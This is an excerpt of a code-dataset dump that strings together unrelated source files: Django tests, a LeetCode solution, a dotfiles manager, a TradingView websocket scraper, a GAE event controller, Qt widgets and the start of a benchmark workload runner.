self.assertEqual(response.templates[0].name, self.cp.template)\n self.assertEqual(response.context['CONFIRMATION_BASE_TEMPLATE'], 'djangocms_moderation/base_confirmation.html')\n\n def test_renders_post_view(self):\n response = self.client.post(\n add_url_parameters(\n self.cp.get_absolute_url(),\n content_view=True,\n page=self.pg1.pk,\n language='en',\n )\n )\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.templates[0].name, self.cp.template)\n self.assertEqual(response.context['CONFIRMATION_BASE_TEMPLATE'], 'djangocms_moderation/base_confirmation.html')\n self.assertTrue(response.context['submitted'])\n redirect_url = add_url_parameters(\n get_admin_url(\n name='cms_moderation_approve_request',\n language='en',\n args=(self.pg1.pk, 'en'),\n ),\n reviewed=True,\n )\n self.assertEqual(response.context['redirect_url'], redirect_url)\n","sub_path":"tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":16230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"377202001","text":"\"\"\"https://leetcode.com/problems/n-queens/\"\"\"\n\nfrom typing import List\n\n\nclass Solution:\n def solveNQueens(self, n: int) -> List[List[str]]:\n ret = []\n self.dfs(n, [], [], [], ret)\n return ret\n\n def dfs(self, n, queens, xy_dif, xy_sum, ret):\n p = len(queens)\n if p == n:\n solution = []\n for i in queens:\n line = '.' * i + 'Q' + '.' * (n - i - 1)\n solution.append(line)\n ret.append(solution)\n else:\n for q in range(n):\n if q not in queens and (p - q) not in xy_dif and (p + q) not in xy_sum:\n self.dfs(n, queens + [q], xy_dif + [p - q], xy_sum + [p + q], ret)\n","sub_path":"leetcode/1-100/51-N-Queens/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"300250931","text":"import os\nimport subprocess\nimport sys\nfrom pathlib import Path\n\n\ndef _check_git():\n if subprocess.call('type git', shell=True) == 0:\n return True\n else:\n return False\n\n\ndef init():\n if not _check_git():\n sys.exit(1)\n\n print('Your dotfiles remote repository')\n print('e.g. git@github.com:BlueSheep2804/dotfiles')\n remote_uri = input('>> ')\n if not remote_uri:\n sys.exit(1)\n subprocess.call(f'git remote set-url origin {remote_uri}', shell=True)\n\n if subprocess.check_output('git remote get-url origin', shell=True) == f'{remote_uri}\\n'.encode():\n print('OK')\n else:\n sys.exit(1)\n\n print('Initialize successfully.')\n\n\ndef link():\n print('Create symbolic link.')\n\n home_files = Path(os.environ['HOME'])\n\n print('Target user home directory')\n print(f'{str(home_files)}')\n print('Are you sure?')\n inp = input('[y/N]>> ')\n if inp != 'y':\n sys.exit(1)\n\n files = Path('./home/').glob('**/*')\n\n for f in files:\n target_file = Path(f'{str(home_files)}/{str(f)[5:]}')\n if f.is_dir():\n os.makedirs(f'{target_file}', exist_ok=True)\n elif f.is_file():\n if target_file.exists():\n if target_file.is_symlink():\n target_file.unlink()\n else:\n print(f'{target_file} is exists.')\n print('Replace it?')\n inp = input('[Y/n]>> ')\n _print_lineback(3)\n if inp == 'n':\n _print_color('[SKIP]', 36)\n print(f' {target_file}')\n continue\n target_file.replace(f'{target_file}.backup')\n _print_color('[BACKUP]', 34)\n print(f' {target_file}.backup')\n target_file.symlink_to(f.resolve())\n _print_color('[LINK]', 32)\n print(f' {target_file}')\n\n\ndef version():\n _print_color('dotmanage.py', 36)\n print(' v0.1')\n\n\ndef help():\n version()\n print()\n\n _print_color('init', 32)\n print(': Initialize dotfiles git repository')\n\n _print_color('link', 32)\n print(': Link dotfiles')\n\n _print_color('version', 32)\n print(': Show dotmanage.py version')\n\n _print_color('help', 32)\n print(': Show this help message')\n\n\ndef _print_lineback(back_count: int):\n for i in range(back_count):\n print('\\033[A\\033[K', end='')\n\n\ndef _print_color(string: str, color: int):\n print(f'\\033[{color}m{string}\\033[0m', end='')\n\n\nif sys.argv[1] == 'init':\n init()\nelif sys.argv[1] == 'link':\n link()\nelif sys.argv[1] == 'version':\n version()\nelif sys.argv[1] == 'help':\n help()\n","sub_path":"dotmanage.py","file_name":"dotmanage.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"338013365","text":"n = int(input())\na = list(map(int,input().split()))\nsig = 0\nsig2 = 0\nfor ai in a:\n sig += ai \n sig2 += ai*ai \n\nans = 0\n\n#for ai in a:\n# ans += n*ai**2 - 2*ai*sig + sig2\n#print(int(1/2 * ans))\n\nprint( n*sig2 - sig**2)","sub_path":"problems/194/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"562950276","text":"from flask import Flask\nfrom flask import request\nfrom database import init_db\nfrom database import db_session\nfrom datetime import datetime,timedelta\nfrom flask import render_template\nimport models\n\napp = Flask(__name__)\ninit_db()\n\nsample_schema = models.SampleSchema()\n\n\n@app.route('/sample/add', methods=['POST'])\ndef add_sample():\n sample = sample_schema.loads(request.data.decode(\"utf-8\"))\n db_session.add(sample.data)\n db_session.commit()\n return \"OK\"\n\n\n@app.route('/sample/query', methods=['POST'])\ndef get_sample():\n loader = request.form.get('loader_name')\n time_delta = int(request.form.get('time_delta'))\n end_time = datetime.now()\n start_time = end_time - timedelta(seconds=time_delta)\n samples = []\n for sample in db_session.query(models.Sample).filter(models.Sample.loader_name == loader) \\\n .filter(models.Sample.load_time >= start_time, models.Sample.load_time <= end_time):\n samples.append(sample)\n return sample_schema.dumps(samples, many=True).data\n\n\n@app.route('/', methods=['GET'])\ndef home():\n return render_template('index.html')\n","sub_path":"OpenMonitor-webapp/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"133847509","text":"from websocket import create_connection\nimport json\nimport random\nimport string\nimport re\nimport pandas as pd\nimport csv\nfrom datetime import datetime,timedelta\n\ndef filter_raw_message(text):\n try:\n found = re.search('\"m\":\"(.+?)\",', text).group(1)\n found2 = re.search('\"p\":(.+?\"}\"])}', text).group(1)\n print(found)\n print(found2)\n return found1, found2\n except AttributeError:\n print(\"error\")\n \n\ndef generateSession():\n stringLength=12\n letters = string.ascii_lowercase\n random_string= ''.join(random.choice(letters) for i in range(stringLength))\n return \"qs_\" +random_string\n\ndef generateChartSession():\n stringLength=12\n letters = string.ascii_lowercase\n random_string= ''.join(random.choice(letters) for i in range(stringLength))\n return \"cs_\" +random_string\n\ndef prependHeader(st):\n return \"~m~\" + str(len(st)) + \"~m~\" + st\n\ndef constructMessage(func, paramList):\n #json_mylist = json.dumps(mylist, separators=(',', ':'))\n return json.dumps({\n \"m\":func,\n \"p\":paramList\n }, separators=(',', ':'))\n\ndef createMessage(func, paramList):\n return prependHeader(constructMessage(func, paramList))\n\ndef sendRawMessage(ws, message):\n ws.send(prependHeader(message))\n\ndef sendMessage(ws, func, args):\n ws.send(createMessage(func, args))\n\ndef generate_csv(a):\n out= re.search('\"s\":\\[(.+?)\\}\\]', a).group(1)\n x=out.split(',{\\\"')\n \n with open('realtime.csv', mode='w', newline='') as data_file:\n employee_writer = csv.writer(data_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n \n employee_writer.writerow(['index', 'date', 'open', 'high', 'low', 'close', 'volume'])\n \n for xi in x:\n xi= re.split('\\[|:|,|\\]', xi)\n print(xi)\n ind= int(xi[1]) \n ts= datetime.fromtimestamp(float(xi[4]))\n ts = ts.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n employee_writer.writerow([ind, ts, float(xi[5]), float(xi[6]), float(xi[7]), float(xi[8]), float(xi[9])])\n \n\n\nheaders = json.dumps({\n 'Origin': 'https://data.tradingview.com'\n})\n\n\nws = create_connection(\n 'wss://data.tradingview.com/socket.io/websocket',headers=headers)\n\nsession= generateSession()\nprint(\"session generated {}\".format(session))\n\nchart_session= generateChartSession()\nprint(\"chart_session generated {}\".format(chart_session))\n\n\nsendMessage(ws, \"set_auth_token\", [\"unauthorized_user_token\"])\nsendMessage(ws, \"chart_create_session\", [chart_session, \"\"])\nsendMessage(ws, \"quote_create_session\", [session])\nsendMessage(ws,\"quote_set_fields\", [session,\"ch\",\"chp\",\"current_session\",\"description\",\"local_description\",\"language\",\"exchange\",\"fractional\",\"is_tradable\",\"lp\",\"lp_time\",\"minmov\",\"minmove2\",\"original_name\",\"pricescale\",\"pro_name\",\"short_name\",\"type\",\"update_mode\",\"volume\",\"currency_code\",\"rchp\",\"rtc\"])\nsendMessage(ws, \"quote_add_symbols\",[session, \"BINANCE:BTCUSDT\", {\"flags\":['force_permission']}])\nsendMessage(ws, \"quote_fast_symbols\", [session,\"BINANCE:BTCUSDT\"])\n\n# st='~m~140~m~{\"m\":\"resolve_symbol\",\"p\":}'\n# p1, p2 = filter_raw_message(st)\nsendMessage(ws, \"resolve_symbol\", [chart_session,\"symbol_1\",\"={\\\"symbol\\\":\\\"BINANCE:BTCUSDT\\\",\\\"adjustment\\\":\\\"splits\\\",\\\"session\\\":\\\"extended\\\"}\"])\nsendMessage(ws, \"create_series\", [chart_session, \"s1\", \"s1\", \"symbol_1\", \"1\", 50])\n\n# Printing all the result\n\na=\"\"\nwhile True:\n try:\n result = ws.recv()\n\n try:\n out= re.search('\"s\":\\[(.+?)\\}\\]', a).group(1)\n last = \"[\",out+\"}]\"\n print(result)\n break;\n except AttributeError:\n out= re.search('\"s\":\\[(.+?)\\}\\]', a)\n \n # if result == '~m~4~m~~h~1' :\n # break\n\n a=a+result+\"\\n\"\n \n\n except Exception as e:\n print(e)\n break\n# out= re.search('\"s\":\\[(.+?)\\}\\]', a).group(1)\n# print(out)\n# x=out.split(',{\\\"')\n# xi= re.split('\\[|:|,|\\]', x[0])\ngenerate_csv(a)\n\n\n","sub_path":"realtime.py","file_name":"realtime.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"542984546","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# sqlite.py\n# \n# Copyright 2010 \n# \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n\nimport sqlite3\n\nclass SqliteDatabase():\n\tdef __init__(self, filename):\n\t\tself.filename = filename\n\t\tself.conn = sqlite3.connect(filename)\n\t\tself.tablename = self._GetTableName()\n\t\tself.columns = self._GetColumns()\n\t\treturn\n\t\t\n\tdef _GetTableName(self):\n\t\tc = self.conn.cursor()\n\t\tc.execute(\"SELECT name FROM sqlite_master WHERE type='table';\")\n\t\ttablename = c.fetchone()[0]\n\t\treturn tablename\n\t\t\n\tdef _GetColumns(self):\n\t\tcur = self.conn.cursor()\n\t\tcur.execute(\"SELECT * FROM \" + self.tablename + \";\")\n\t\tname_list = [t[0] for t in cur.description]\n\t\treturn name_list\n\n\ndef backend_MatchIdentifier(identifier):\n\tif identifier.split(\".\")[-1] == \"sqlite\":\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef backend_OpenIdentifier(identifier):\n\treturn SqliteDatabase(identifier)\n\nif __name__ == '__main__':\n\tlogging.error(\"sqlite.py started by itself. Use a frontend.\")\n\texit(\"You cannot run this script by itself; use a frontend.\")\n\n","sub_path":"backends/sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"649807597","text":"#!/usr/bin/python\n\nimport webapp2\nimport jinja2\nfrom google.appengine.ext import db\nfrom google.appengine.api import images\nfrom model.event import Event\n\nimport datetime\nimport json\nimport os\nimport logging\nimport re\n\nclass EventController(webapp2.RequestHandler):\n\n @staticmethod\n def getTemplate(path):\n jinja_environment = jinja2.Environment(\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__).replace('controllers','')))\n return jinja_environment.get_template(path)\n\n def get(self):\n events = getAllEvents(self)\n templateValues = {\n 'events': events\n }\n\n template = EventController.getTemplate('templates/events.html')\n self.response.out.write(template.render(templateValues))\n\n class NewEventHandler(webapp2.RequestHandler):\n\n def get(self):\n template = EventController.getTemplate('templates/new_event.html')\n self.response.out.write(template.render({}))\n\n def post(self):\n event = Event()\n event.name = self.request.get(\"name\")\n event.description = self.request.get(\"description\")\n event.local = self.request.get(\"local\")\n event.date = self.request.get(\"date\")\n event.time = self.request.get(\"time\")\n event.linkFacebook = self.request.get(\"facebook_link\")\n event.eventTag = \"default-tag\"\n event.author = \"default\"\n\n if self.request.get(\"image\"):\n event.image = db.Blob(images.resize(self.request.get(\"image\"), 300))\n\n event.put()\n self.redirect(\"/events\")\n\n class ShowEventHandler(webapp2.RequestHandler):\n\n def get(self, *args):\n event = getEvent(args[0])\n template = EventController.getTemplate('templates/show_event.html')\n self.response.out.write(template.render(event))\n\n class DeleteEventHandler(webapp2.RequestHandler):\n\n def get(self, *args):\n event = Event.get_by_id(long(args[0]))\n\n if event:\n event.delete()\n\n self.redirect('/events')\n\n class EditEventHandler(webapp2.RequestHandler):\n\n def get(self, ident):\n event = getEvent(ident)\n template = EventController.getTemplate('templates/edit_event.html')\n self.response.out.write(template.render(event))\n\n def post(self, ident):\n event = Event.get_by_id(long(ident))\n event.name = self.request.get(\"name\")\n event.description = self.request.get(\"description\")\n event.local = self.request.get(\"local\")\n event.date = self.request.get(\"date\")\n event.time = self.request.get(\"time\")\n event.link_facebook = self.request.get(\"facebook_link\")\n event.eventTag = \"default-tag\"\n event.author = \"default\"\n\n if self.request.get(\"image\"):\n event.image = db.Blob(images.resize(self.request.get(\"image\"), 300))\n\n db.put(event)\n self.redirect(\"/events\")\n\n class ImageHandler(webapp2.RequestHandler):\n\n def get(self, ident):\n event = Event.get_by_id(long(ident))\n\n if event.image:\n self.response.headers['Content-Type'] = 'image/*'\n self.response.out.write(event.image)\n\n\ndef getAllEvents(self):\n query = db.GqlQuery(\"SELECT * FROM Event\")\n events = []\n\n for n in query:\n\n jsonEventInfo = {}\n jsonEventInfo['name'] = str(n.name)\n jsonEventInfo['description'] = str(n.description)\n jsonEventInfo['local'] = str(n.local)\n jsonEventInfo['date'] = str(n.date)\n jsonEventInfo['time'] = str(n.time)\n jsonEventInfo['facebook_link'] = str(n.linkFacebook)\n jsonEventInfo['image_key'] = str(n.imageKey)\n jsonEventInfo['author'] = str(n.author)\n currentUrl = self.request.url;\n\n jsonEventInfo['delete_link'] = currentUrl + '/delete/' + str(n.key().id())\n jsonEventInfo['edit_link'] = currentUrl + '/edit/' + str(n.key().id())\n jsonEventInfo['direct_link'] = currentUrl + '/' + str(n.key().id())\n events.append(jsonEventInfo)\n\n return events\n\n\ndef getEvent(ident):\n event = Event.get_by_id(long(ident))\n\n jsonEventInfo = {}\n jsonEventInfo['name'] = str(event.name)\n jsonEventInfo['description'] = str(event.description)\n jsonEventInfo['local'] = str(event.local)\n jsonEventInfo['date'] = str(event.date)\n jsonEventInfo['time'] = str(event.time)\n jsonEventInfo['facebook_link'] = str(event.linkFacebook)\n jsonEventInfo['image_key'] = str(event.imageKey)\n jsonEventInfo['author'] = str(event.author)\n jsonEventInfo['image_link'] = '/events/images/' + str(ident)\n\n event = jsonEventInfo\n return event\n","sub_path":"controllers/EventController.py","file_name":"EventController.py","file_ext":"py","file_size_in_byte":4813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"90613614","text":"\n\nfrom xai.brain.wordbase.nouns._fumigator import _FUMIGATOR\n\n#calss header\nclass _FUMIGATORS(_FUMIGATOR, ):\n\tdef __init__(self,): \n\t\t_FUMIGATOR.__init__(self)\n\t\tself.name = \"FUMIGATORS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"fumigator\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_fumigators.py","file_name":"_fumigators.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"376596073","text":"import os\nimport random\n\nimages = []\n\ndirContents = os.listdir(\"../images/nonmichaelresized/\")\nfor item in dirContents:\n item = \"../images/nonmichaelresized/\" + item\n\n if item.endswith(\".jpg\") or item.endswith(\".JPG\"):\n images.append(item)\n\nrandom.shuffle(images)\nproportion = int(len(images) * 0.80)\ntrain_set = images[:proportion]\ntest_set = images[proportion:]\n\nfor img in train_set:\n front = img[:9]\n name = img[27:]\n new_image = front + \"/train_set\" + name\n os.rename(img, new_image)\n\n","sub_path":"images/shuffle_pictures.py","file_name":"shuffle_pictures.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"398042498","text":"from PyQt5.QtWidgets import QWidget, QPushButton, QLabel, QVBoxLayout, QHBoxLayout, QProxyStyle\nfrom PyQt5.QtGui import QFont, QPixmap, QPainter, QBrush, QPen, QMovie\nfrom PyQt5 import Qt\nfrom PyQt5.QtCore import Qt, QRect, QSize\nfrom devRant import *\nfrom RantViewer import *\nfrom main import windows\n\nvote_button_font = QFont(\"Comfortaa\", 12)\nscore_font = QFont(\"Roboto\", 12)\nrant_font = QFont(\"Roboto\", 14)\n\n\nclass RoundedImage(QWidget):\n\n def __init__(self, parent=None):\n QWidget.__init__(self, parent)\n self.pixmap = None\n\n def setPixmap(self, pixmap):\n self.pixmap = pixmap\n self.setFixedSize(pixmap.width(), pixmap.height())\n\n def paintEvent(self, event):\n painter = QPainter(self)\n painter.setRenderHint(QPainter.Antialiasing, True)\n brush = QBrush(self.pixmap)\n rect = QRect(0, 0, self.width() - 10, self.height() - 10)\n painter.setPen(Qt.NoPen)\n painter.setBrush(brush)\n painter.drawRoundedRect(rect, 5, 5)\n\n\nclass RoundPixmapStyle(QProxyStyle):\n def __init__(self, widget, radius=10, *args, **kwargs):\n super(RoundPixmapStyle, self).__init__(*args, **kwargs)\n self.widget = widget\n self.radius = radius\n\n def drawItemPixmap(self, painter, rectangle, alignment, pixmap):\n painter.save()\n pix = QPixmap(pixmap.size())\n pix.fill(Qt.transparent)\n p = QPainter(pix)\n p.setBrush(QBrush(pixmap))\n p.setPen(Qt.NoPen)\n p.setRenderHint(QPainter.Antialiasing, True)\n rect = QRect(0, 0, pix.width() - (self.radius * 2), pix.height() - (self.radius * 2))\n p.drawRoundedRect(rect, self.radius, self.radius)\n p.end()\n super(RoundPixmapStyle, self).drawItemPixmap(painter, rectangle, alignment, pix)\n painter.restore()\n\n\nclass RantContainer:\n\n def __init__(self, rant, parent=None):\n # Bad idea to subclass widget because it breaks painting\n # i.e. the background color goes bye bye\n # I'd love to. I really would. But just no.\n container = QWidget()\n container.setObjectName(\"rant-container\")\n self.container = container\n self.rant = rant\n self.parent = parent\n\n def release_mouse(event):\n viewer = RantViewer(self.rant)\n # Add to global windows list to keep from garbage collection\n windows.append(viewer)\n viewer.show()\n\n self.release_mouse = release_mouse\n\n container.mouseReleaseEvent = self.release_mouse\n\n rant_text = QLabel()\n rant_text.setAlignment(Qt.AlignTop)\n rant_text.setObjectName(\"rant-text\")\n rant_text.setWordWrap(True)\n rant_text.setFont(rant_font)\n self.rant_text = rant_text\n\n upvote_btn = QPushButton()\n upvote_btn.setObjectName(\"upvote-btn\")\n upvote_btn.setFont(vote_button_font)\n upvote_btn.setText(\"++\")\n upvote_btn.setCursor(Qt.PointingHandCursor)\n self.upvote_btn = upvote_btn\n\n downvote_btn = QPushButton()\n downvote_btn.setObjectName(\"upvote-btn\")\n downvote_btn.setFont(vote_button_font)\n downvote_btn.setText(\"--\")\n downvote_btn.setCursor(Qt.PointingHandCursor)\n self.downvote_btn = downvote_btn\n\n score_label = QLabel()\n score_label.setAlignment(Qt.AlignCenter)\n score_label.setObjectName(\"rant-score\")\n score_label.setText(\"0\")\n score_label.setFont(score_font)\n self.score_label = score_label\n\n vlay = QVBoxLayout()\n vlay.addWidget(upvote_btn)\n vlay.addWidget(score_label)\n vlay.addWidget(downvote_btn)\n vlay.addStretch()\n\n content_container = QWidget()\n content_container.setObjectName(\"content-container\")\n content_layout = QVBoxLayout(container)\n content_container.setLayout(content_layout)\n content_layout.addWidget(rant_text)\n self.content_layout = content_layout\n\n hlay = QHBoxLayout(container)\n hlay.addLayout(vlay)\n hlay.addWidget(content_container)\n\n # Populae the things just created\n rant_text.setText(rant.text)\n score_label.setText(str(rant.score))\n\n self.image = None\n self.image_placeholder = None\n if rant.attached_image:\n self.set_image(rant.attached_image)\n\n def set_image(self, rant_image):\n if self.image_placeholder:\n self.content_layout.removeWidget(self.image_placeholder)\n self.image_placeholder.setParent(None)\n if rant_image.loaded:\n img_name = RantAttachedImage.url_to_name(rant_image.url)\n if rant_image.type == \"jpg\":\n image = RoundedImage()\n image.setObjectName(\"rant-image\")\n pixmap = QPixmap(\"image_cache/\" + img_name)\n pixmap = pixmap.scaledToWidth(590, Qt.SmoothTransformation)\n image.setPixmap(pixmap)\n self.content_layout.addWidget(image)\n self.image = image\n else:\n # always make the size 590px\n image = QLabel(scaledContents=True)\n width = 590\n height = (590 / rant_image.width) * rant_image.height\n image.setFixedSize(width, height)\n image.setObjectName(\"rant-image\")\n image.setStyle(RoundPixmapStyle(image, radius=5, style=image.style()))\n movie = QMovie(\"image_cache/\" + img_name)\n image.setMovie(movie)\n movie.start()\n self.content_layout.addWidget(image)\n else:\n placeholder = rant_image.placeholder()\n self.content_layout.addWidget(placeholder)\n self.image_placeholder = placeholder\n\n\nclass RantViewWindow:\n\n def __init__(self):\n pass\n","sub_path":"ui_bits.py","file_name":"ui_bits.py","file_ext":"py","file_size_in_byte":5839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"59417022","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author:Zhangcl\n#def stu_register(name,age,country,course):\ndef stu_register(name,age,course,country=\"CN\"): #使用关键参数设置默认值,关键参数必须放在位置参数之后。\n print(\"----注册学生信息------\")\n print(\"姓名:\",name)\n print(\"age:\",age)\n print(\"国籍:\",country)\n print(\"课程:\",course)\n\nstu_register(\"王山炮\",22,\"CN\",\"python_devops\")\nstu_register(\"刘老根\",25,\"CN\",\"linux\")\nstu_register('傻逼',22,'linux')\n\nname = \"Alex\"\n\n\ndef change_name():\n name = \"Alex2\"\n\n def change_name2():\n name = \"Alex3\"\n print(\"第3层打印\", name)\n\n change_name2() # 调用内层函数\n print(\"第2层打印\", name)\n\n\nchange_name()\nprint(\"最外层打印\", name)\n\n\ndef calc(n):\n print(n)\n if int(n / 2) == 0:\n return n\n return calc(int(n / 2))\n\n\ncalc(10)\n\ndata = [1, 3, 6, 7, 9, 12, 14, 16, 17, 18, 20, 21, 22, 23, 30, 32, 33, 35]\n\n\ndef binary_search(dataset, find_num):\n print(dataset)\n\n if len(dataset) > 1:\n mid = int(len(dataset) / 2)\n if dataset[mid] == find_num: # find it\n print(\"找到数字\", dataset[mid])\n elif dataset[mid] > find_num: # 找的数在mid左面\n print(\"\\033[31;1m找的数在mid[%s]左面\\033[0m\" % dataset[mid])\n return binary_search(dataset[0:mid], find_num)\n else: # 找的数在mid右面\n print(\"\\033[32;1m找的数在mid[%s]右面\\033[0m\" % dataset[mid])\n return binary_search(dataset[mid + 1:], find_num)\n else:\n if dataset[0] == find_num: # find it\n print(\"找到数字啦\", dataset[0])\n else:\n print(\"没的分了,要找的数字[%s]不在列表里\" % find_num)\n\n\nbinary_search(data, 66)\n\nres = map(lambda x:x**2,[1,5,7,4,8])\nfor i in res:\n print(i)\n\nname1 ='zcl'\nsc = 'old boy'\ndef change_name(name1):\n global sc\n sc = 'MG'\n print('before change:',name1,sc)\n name1 = 'ZCL'\n print('after name:',name1,sc)\nchange_name(name1)\nprint('全局:',name1,sc)\n\n","sub_path":"hanshu.py","file_name":"hanshu.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"180946735","text":"# -*- coding: future_fstrings -*-\n#\n# Copyright 2019 Peifeng Yu \n# \n# This file is part of Salus\n# (see https://github.com/SymbioticLab/Salus).\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom __future__ import absolute_import, print_function, division, unicode_literals\nfrom builtins import super, str\nfrom future.utils import with_metaclass\n\nimport logging\nfrom absl import flags\nfrom abc import ABCMeta, abstractmethod\nfrom collections import namedtuple\nfrom enum import Enum\nfrom typing import Iterable, Tuple, Union, Any, Dict\n\nfrom .server import SalusServer\nfrom .tfserver import TFDistServer\nfrom .utils import Popen, execute, snake_to_pascal, str2bool\nfrom .utils.compatiblity import pathlib, subprocess as sp\n\nPath = pathlib.Path\nFLAGS = flags.FLAGS\nlogger = logging.getLogger(__name__)\n\nflags.DEFINE_string('tfbench_base', '../tf_benchmarks', 'Base dir of TFBenchmark based workloads')\nflags.DEFINE_string('unit_base', 'tests', 'Base dir of unittest based workloads')\nflags.DEFINE_string('fathom_base', '../fathom', 'Base dir of Fathom based workloads')\nflags.DEFINE_boolean('no_capture', False, 'Do not capture workload outputs')\n\n\nRunConfig = namedtuple('RunConfig', [\n 'batch_size',\n 'batch_num',\n 'cfgname',\n])\n\n\nclass Executor(Enum):\n Salus = \"salus\"\n TF = \"tf\"\n TFDist = \"tfdist\"\n\n\ndef enumerate_rcfgs(batch_sizes, batch_nums):\n # type: (Iterable[Union[int, str]], Iterable[int]) -> Iterable[RunConfig]\n \"\"\"Convenient method to generate a list of RunConfig\"\"\"\n return [\n RunConfig(batch_size, batch_num, None)\n for batch_size in batch_sizes\n for batch_num in batch_nums\n ]\n\n\nclass Runner(with_metaclass(ABCMeta, object)):\n \"\"\"A runner knows how to run a given workload\"\"\"\n def __init__(self, wl):\n # type: (Any) -> None\n super().__init__()\n self.wl = wl\n self.env = wl.env.copy() # type: Dict[str, str]\n\n def set_default(d, key, defval):\n if key not in d:\n d[key] = defval\n else:\n logger.info(f'Using custom value {key}={d[key]}')\n\n set_default(self.env, 'CUDA_VISIBLE_DEVICES', '0')\n set_default(self.env, 'TF_CPP_MIN_LOG_LEVEL', '2')\n\n @abstractmethod\n def __call__(self, executor, output_file):\n # type: (Executor, Path) -> Popen\n pass\n\n\nclass TFBenchmarkRunner(Runner):\n \"\"\"Run a tf benchmark job\"\"\"\n\n def __init__(self, wl, base_dir=None):\n # type: (Any, Path) -> None\n super().__init__(wl)\n self.base_dir = base_dir\n if self.base_dir is None:\n self.base_dir = Path(FLAGS.tfbench_base)\n\n def __call__(self, executor, output_file):\n # type: (Executor, Path) -> Popen\n cwd = self.base_dir / 'scripts' / 'tf_cnn_benchmarks'\n cmd = [\n 'stdbuf', '-o0', '-e0', '--',\n 'python', 'tf_cnn_benchmarks.py',\n '--display_every=1',\n '--num_gpus=1',\n '--variable_update=parameter_server',\n '--nodistortions',\n '--executor={}'.format(executor.value),\n '--num_batches={}'.format(self.wl.batch_num),\n '--batch_size={}'.format(self.wl.batch_size),\n ]\n eval_interval = self.wl.env.pop('SALUS_TFBENCH_EVAL_INTERVAL', '0.1')\n eval_rand_factor = self.wl.env.pop('SALUS_TFBENCH_EVAL_RAND_FACTOR', '5')\n eval_block = self.wl.env.pop('SALUS_TFBENCH_EVAL_BLOCK', 'true')\n if self.wl.name.endswith('eval'):\n model_name = self.wl.name.rsplit('eval')[0]\n cmd += [\n '--model_dir=models/{}'.format(model_name),\n '--model={}'.format(model_name),\n '--eval_interval_secs={}'.format(eval_interval),\n '--eval_interval_random_factor={}'.format(eval_rand_factor),\n '--eval_block={}'.format(eval_block),\n '--eval'\n ]\n else:\n cmd += [\n '--model={}'.format(self.wl.name),\n ]\n if str2bool(self.wl.env.pop('SALUS_SAVE_MODEL', '')):\n cmd += [\n '--model_dir=models/{}'.format(self.wl.name),\n ]\n\n if FLAGS.no_capture:\n return execute(cmd, cwd=str(cwd), env=self.env)\n else:\n output_file.parent.mkdir(exist_ok=True, parents=True)\n with output_file.open('w') as f:\n return execute(cmd, cwd=str(cwd), env=self.env, stdout=f, stderr=sp.STDOUT)\n\n\nclass UnittestRunner(Runner):\n \"\"\"Run a unittest job\"\"\"\n\n def __init__(self, wl, base_dir=None):\n # type: (Any, Path) -> None\n super().__init__(wl)\n self.base_dir = base_dir\n if self.base_dir is None:\n self.base_dir = Path(FLAGS.unit_base)\n\n def __call__(self, executor, output_file):\n # type: (Executor, Path) -> Popen\n env = self.env.copy()\n env['EXEC_ITER_NUMBER'] = str(self.wl.batch_num)\n if executor == Executor.TFDist:\n env['SALUS_TFDIST_ENDPOINT'] = TFDistServer.current_server().endpoint\n\n cwd = self.base_dir\n pkg, method = self._construct_test_name(executor)\n cmd = [\n 'stdbuf', '-o0', '-e0', '--',\n 'python', '-m', pkg, method,\n ]\n if FLAGS.no_capture:\n return 